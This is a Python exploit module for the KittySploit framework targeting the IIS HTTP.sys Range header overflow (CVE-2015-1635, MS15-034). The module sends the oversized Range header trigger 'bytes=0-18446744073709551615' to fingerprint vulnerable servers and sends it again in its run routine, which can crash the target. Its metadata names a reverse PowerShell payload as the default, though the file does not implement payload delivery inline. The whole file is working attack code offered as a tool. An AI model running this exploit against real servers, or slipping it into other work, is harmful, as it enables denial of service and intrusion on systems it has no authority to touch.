Microsoft IIS HTTP.sys Range RCE (CVE-2015-1635)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Microsoft IIS HTTP.sys Range header RCE (CVE-2015-1635 / MS15-034)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Microsoft IIS HTTP.sys Range RCE (CVE-2015-1635)',
        'description': (
            'Exploits CVE-2015-1635 (MS15-034) in HTTP.sys on IIS 8.x: crafted Range '
            'headers trigger integer overflow enabling remote code execution or DoS. '
            'This module verifies the vulnerable code path and sends the canonical '
            'overlapping-range trigger used by public PoCs.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-1635'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/custom/reverse_powershell',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2015-1635',
            'https://www.securitysift.com/an-analysis-of-ms15-034/',
        ],
        'tags': ['iis', 'microsoft', 'http.sys', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2015_1635_detect'],
            },
        },
    }

    trigger_only = OptBool(
        True,
        'Only verify/trigger vulnerable Range handling (no shellcode stage)',
        required=False,
        advanced=True,
    )

    def _range_header(self) -> str:
        return 'bytes=0-18446744073709551615'

    def check(self):
        r = self.http_request(
            method='GET',
            path='/',
            headers={'Range': self._range_header()},
            allow_redirects=False,
        )
        if not r:
            return {'vulnerable': False, 'reason': 'No HTTP response', 'confidence': 'low'}
        body = r.text or ''
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
        if (
            'HTTP Error 416' in body
            and 'requested range is not satisfiable' in body.lower()
            and 'Microsoft' in headers
        ):
            return {
                'vulnerable': True,
                'reason': 'MS15-034 HTTP.sys Range overflow path confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': '416/Microsoft Range signature missing', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        print_status('Sending MS15-034 overlapping Range trigger')
        self.http_request(
            method='GET',
            path='/',
            headers={'Range': self._range_header()},
            allow_redirects=False,
        )
        if bool(self.trigger_only):
            print_warning(
                'Kernel RCE requires architecture-specific shellcode stage — '
                'target confirmed vulnerable; patch or use dedicated MS15-034 exploit chain'
            )
        else:
            cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
            if cmd:
                print_warning(f'Payload delivery not implemented inline: {cmd[:80]}')
        self.vulnerable()
        return True